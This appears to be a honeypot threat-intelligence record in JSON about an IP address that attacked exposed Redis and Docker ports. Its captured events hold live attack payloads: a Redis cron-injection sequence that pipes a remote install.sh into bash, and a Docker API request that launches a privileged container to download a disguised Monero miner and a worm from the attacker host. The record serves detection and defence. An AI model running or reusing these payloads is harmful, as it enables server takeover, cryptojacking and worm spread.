{"ip":"167.17.180.101","data_as_of":"2026-10-26T23:48:22+00:00","observed":true,"total_events":22,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"6 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["6 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","The same evidence places an address in the public exploiter feed.","One request that fetches a botnet binary is exploitation on its own, whatever the event count.","Not in any known-scanner range.","Sent 6,251 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"6,251 bytes sent","bytes_sent":6251,"session_seconds":1,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-26T14:11:03","last_seen":"2026-10-26T22:55:26","events_24h":22,"events_7d":22,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"DE","country_name":"Germany","region":"Hesse","city":"Frankfurt am Main","lat":50.1169,"lon":8.6837,"asn":26383,"org":"Baxet Group Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"2689367b205c16ce32ed4200942b8b8b1e262dfc70d9bc9fbc77c49699a4f1df","family":"","vt_name":"automated-click","malicious":0,"total":75,"vt_status":"known","delivery":"curl","url_path":"/containers/create?name=kx4faad33adbd5","dest_port":2375,"hits":2,"last_seen":"2026-10-26 14:11:04"},{"sha256":"007e50215bd11ec0104761bdaa07277a0b0cff008556ee9592440e5e56638a82","family":"bash","vt_name":"437075464","malicious":3,"total":74,"vt_status":"known","delivery":"curl","url_path":"/containers/create?name=kx4faad33adbd5","dest_port":2375,"hits":1,"last_seen":"2026-10-26 14:11:04"}],"udp":null,"interaction":null,"top_ports":[{"port":6379,"proto":"tcp","label":"Redis","count":16},{"port":2375,"proto":"tcp","label":"Docker","count":6}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cun030_00040005_9d74717e","b11cuq050_00050805_df66fe0f"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"b11cuq050_00050805_df66fe0f":2,"b11cun030_00040005_9d74717e":4},"akin_families":{"b11cun030_00040005_9d74717e":{"head":"b11cun020_00040004_0a8d7f11","shapes":3,"ips":3824}},"user_agents":[],"timeline":[{"date":"2026-10-26","count":22}],"recent_events":[{"timestamp":"2026-10-26T22:55:26","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*2\r\n$3\r\nDEL\r\n$2\r\nkx\r\n","payload_hex":"2a320d0a24330d0a44454c0d0a24320d0a6b780d0a","method":"","user_agent":"","ja3":"","session":"2b83cd9e-17d0-4879-8456-50dc924751d7","seq":8,"duration_ms":1102,"bytes_in":353,"bytes_out":42,"enriched":{"digest":"877c42042b81d17c","label":"Redis (RESP)"}},{"timestamp":"2026-10-26T22:55:26","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*1\r\n$4\r\nSAVE\r\n","payload_hex":"2a310d0a24340d0a534156450d0a","method":"","user_agent":"","ja3":"","session":"2b83cd9e-17d0-4879-8456-50dc924751d7","seq":7,"duration_ms":928,"bytes_in":332,"bytes_out":37,"enriched":{"digest":"d5e6ea1662e03f90","label":"Redis (RESP)","strings":["SAVE"]}},{"timestamp":"2026-10-26T22:55:26","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*3\r\n$3\r\nSET\r\n$2\r\nkx\r\n$83\r\n*/10 * * * * (curl -s http://167.17.180.101:8080/install.sh | bash) >/dev/null 2>&1\r\n","payload_hex":"2a330d0a24330d0a5345540d0a24320d0a6b780d0a2438330d0a2a2f3130202a202a202a202a20286375726c202d7320687474703a2f2f3136372e31372e3138302e3130313a383038302f696e7374616c6c2e7368207c206261736829203e2f6465762f6e756c6c20323e26310d0a","method":"","user_agent":"","ja3":"","session":"2b83cd9e-17d0-4879-8456-50dc924751d7","seq":6,"duration_ms":815,"bytes_in":318,"bytes_out":32,"enriched":{"digest":"1c4323d5a5ebf6bd","label":"Redis (RESP)","strings":["*/10 * * * * (curl -s http://167.17.180.101:8080/install.sh | bash) >/dev/null 2…"],"iocs":{"urls":["http://167.17.180.101:8080/install.sh"],"ips":["167.17.180.101"],"domains":["install.sh"],"paths":["/dev/null"]}}},{"timestamp":"2026-10-26T22:55:25","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$4\r\nroot\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a2431300d0a646266696c656e616d650d0a24340d0a726f6f740d0a","method":"","user_agent":"","ja3":"","session":"2b83cd9e-17d0-4879-8456-50dc924751d7","seq":5,"duration_ms":687,"bytes_in":207,"bytes_out":27,"enriched":{"digest":"eb318e53f0d54145","label":"Redis (RESP)","strings":["CONFIG","dbfilename","root"]}},{"timestamp":"2026-10-26T22:55:25","port":2375,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"content-length\":\"1223\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:2375\"}","body":"{\"Image\": \"busybox:latest\", \"Cmd\": [\"sh\", \"-c\", \"mkdir -p /m && cd /m && echo '{\\\"cpu\\\":{\\\"max-threads-hint\\\":70},\\\"pools\\\":[{\\\"user\\\":\\\"44e7oLGjPwj14qxHaezKUJXiXsLqtoZrwRtTrsNa99sMfo6QsXSZv7q99VG4dAbm9v9LKnFtcYGnNN3n2BjGsCtr89Xg8Ar.DOCKER_kx4faad33adbd5\\\",\\\"url\\\":\\\"gulf.moneroocean.stream:10128\\\",\\\"pass\\\":\\\"x\\\",\\\"tls\\\":false,\\\"rig-id\\\":\\\"DOCKER_kx4faad33adbd5\\\"},{\\\"user\\\":\\\"44e7oLGjPwj14qxHaezKUJXiXsLqtoZrwRtTrsNa99sMfo6QsXSZv7q99VG4dAbm9v9LKnFtcYGnNN3n2BjGsCtr89Xg8Ar.DOCKER_kx4faad33adbd5\\\",\\\"url\\\":\\\"pool.supportxmr.com:3333\\\",\\\"pass\\\":\\\"x\\\",\\\"tls\\\":false}],\\\"randomx\\\":{\\\"mode\\\":\\\"light\\\"}}' > c && B=systemd-journal-bridge; [ \\\"$(uname -m)\\\" = aarch64 ] && B=systemd-journal-bridge-arm64; (curl -s -o m http://167.17.180.101:8080/$B || wget -q -O m http://167.17.180.101:8080/$B) && (curl -s -o w http://167.17.180.101:8080/worm.sh || wget -q -O w http://167.17.180.101:8080/worm.sh); chmod +x m w; ./m -c c >/tmp/o 2>&1 & sh w >/tmp/w 2>&1 & (curl -s -m 5 http://167.17.180.101:8080/report?dockerpop >/dev/null 2>&1 || wget -q -O /dev/null http://167.17.180.101:8080/report?dockerpop); sleep 100000\"], \"HostConfig\": {\"Privileged\": true, \"RestartPolicy\": {\"Name\": \"always\"}, \"Resources\": {\"NanoCpus\": 700000000}}}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/create?name=kx4faad33adbd5","summary":"","payload_hex":"504f5354202f636f6e7461696e6572732f6372656174653f6e616d653d6b7834666161643333616462643520485454502f312e310d0a486f73743a20<HONEYPOT>3a323337350d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313232330d0a0d0a7b22496d616765223a202262757379626f783a6c6174657374222c2022436d64223a205b227368222c20222d63222c20226d6b646972202d70202f6d202626206364202f6d202626206563686f20277b5c226370755c223a7b5c226d61782d746872656164732d68696e745c223a37307d2c5c22706f6f6c735c223a5b7b5c22757365725c223a5c22343465376f4c476a50776a313471784861657a4b554a586958734c71746f5a727752745472734e613939734d666f36517358535a76377139395647346441626d3976394c4b6e46746359476e4e4e336e32426a4773437472383958673841722e444f434b45525f6b783466616164333361646264355c222c5c2275726c5c223a5c2267756c662e6d6f6e65726f6f6365616e2e73747265616d3a31303132385c222c5c22706173735c223a5c22785c222c5c22746c735c223a66616c73652c5c227269672d69645c223a5c22444f434b45525f6b783466616164333361646264355c227d2c7b5c22757365725c223a5c22343465376f4c476a50776a313471784861657a4b554a586958734c71746f5a727752745472734e613939734d666f36517358535a76377139395647346441626d3976394c4b6e46746359476e4e4e336e32426a4773437472383958673841722e444f434b45525f6b783466616164333361646264355c222c5c2275726c5c223a5c22706f6f6c2e737570706f7274786d722e636f6d3a333333335c222c5c22706173735c223a5c22785c222c5c22746c735c223a66616c73657d5d2c5c2272616e646f6d785c223a7b5c226d6f64655c223a5c226c696768745c227d7d27203e206320262620423d73797374656d642d6a6f75726e616c2d6272696467653b205b205c222428756e616d65202d6d295c22203d2061617263683634205d20262620423d73797374656d642d6a6f75726e616c2d6272696467652d61726d36343b20286375726c202d73202d6f206d20687474703a2f2f3136372e31372e3138302e3130313a383038302f2442207c7c2077676574202d71202d4f206d20687474703a2f2f3136372e31372e3138302e3130313a383038302f24422920262620286375726c202d73202d6f207720687474703a2f2f3136372e31372e3138302e3130313a383038302f776f726d2e7368207c7c2077676574202d71202d4f207720687474703a2f2f3136372e31372e3138302e3130313a383038302f776f726d2e7368293b2063686d6f64202b78206d20773b202e2f6d202d632063203e2f746d702f6f20323e263120262073682077203e2f746d702f7720323e2631202620286375726c202d73202d6d203520687474703a2f2f3136372e31372e3138302e3130313a383038302f7265706f72743f646f636b6572706f70203e2f6465762f6e756c6c20323e2631207c7c2077676574202d71202d4f202f6465762f6e756c6c20687474703a2f2f3136372e31372e3138302e3130313a383038302f7265706f72743f646f636b6572706f70293b20736c65657020313030303030225d2c2022486f7374436f6e666967223a207b2250726976696c65676564223a20747275652c202252657374617274506f6c696379223a207b224e616d65223a2022616c77617973227d2c20225265736f7572636573223a207b224e616e6f43707573223a203730303030303030307d7d7d","method":"POST","user_agent":"","ja3":"","session":"12641c74-44bc-4156-aade-36dcff8bc0e0","seq":1,"duration_ms":101,"bytes_in":1391,"bytes_out":79},{"timestamp":"2026-10-26T22:55:25","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$24\r\n/var/spool/cron/crontabs\r\n","payload_hex":"2a340d0a24360d0a434f4e4649470d0a24330d0a5345540d0a24330d0a6469720d0a2432340d0a2f7661722f73706f6f6c2f63726f6e2f63726f6e746162730d0a","method":"","user_agent":"","ja3":"","session":"2b83cd9e-17d0-4879-8456-50dc924751d7","seq":4,"duration_ms":570,"bytes_in":155,"bytes_out":22,"enriched":{"digest":"4e79cf0ead77c0ab","label":"Redis (RESP)","strings":["CONFIG","/var/spool/cron/crontabs"],"iocs":{"paths":["/var/spool/cron/crontabs"]}}},{"timestamp":"2026-10-26T22:55:25","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*3\r\n$6\r\nCONFIG\r\n$3\r\nGET\r\n$10\r\ndbfilename\r\n","payload_hex":"2a330d0a24360d0a434f4e4649470d0a24330d0a4745540d0a2431300d0a646266696c656e616d650d0a","method":"","user_agent":"","ja3":"","session":"2b83cd9e-17d0-4879-8456-50dc924751d7","seq":3,"duration_ms":451,"bytes_in":90,"bytes_out":17,"enriched":{"digest":"ae7a954eba732d9f","label":"Redis (RESP)","strings":["CONFIG","dbfilename"]}},{"timestamp":"2026-10-26T22:55:25","port":2375,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:2375\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/info","summary":"","payload_hex":"474554202f696e666f20485454502f312e310d0a486f73743a20<HONEYPOT>3a323337350d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"edacea2e-36f9-47d8-9898-c80b25179b36","seq":1,"duration_ms":100,"bytes_in":80,"bytes_out":79},{"timestamp":"2026-10-26T22:55:25","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*3\r\n$6\r\nCONFIG\r\n$3\r\nGET\r\n$3\r\ndir\r\n","payload_hex":"2a330d0a24360d0a434f4e4649470d0a24330d0a4745540d0a24330d0a6469720d0a","method":"","user_agent":"","ja3":"","session":"2b83cd9e-17d0-4879-8456-50dc924751d7","seq":2,"duration_ms":299,"bytes_in":48,"bytes_out":12,"enriched":{"digest":"6e396dc600a391e2","label":"Redis (RESP)","strings":["CONFIG"]}},{"timestamp":"2026-10-26T22:55:25","port":2375,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:2375\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/images/create?fromImage=busybox&tag=latest","summary":"","payload_hex":"504f5354202f696d616765732f6372656174653f66726f6d496d6167653d62757379626f78267461673d6c617465737420485454502f312e310d0a486f73743a20<HONEYPOT>3a323337350d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a202a2f2a0d0a0d0a","method":"POST","user_agent":"","ja3":"","session":"3604c8bd-a564-43dc-90f5-a7ff10f2fb8d","seq":1,"duration_ms":103,"bytes_in":119,"bytes_out":79}],"http_methods":[{"method":"POST","count":4},{"method":"GET","count":2}],"distinct_ports_total":2,"top_paths":[{"path":"/info","count":2,"ports":1},{"path":"/containers/create?name=kx4faad33adbd5","count":2,"ports":1},{"path":"/images/create?fromImage=busybox&tag=latest","count":2,"ports":1}],"distinct_paths_total":3,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"1223","notable":false},{"name":"Content-Type","value":"application/json","notable":true},{"name":"Host","value":"<HONEYPOT>:2375","notable":false}],"distinct_sets":2,"events_with_headers":3},"tags":[]}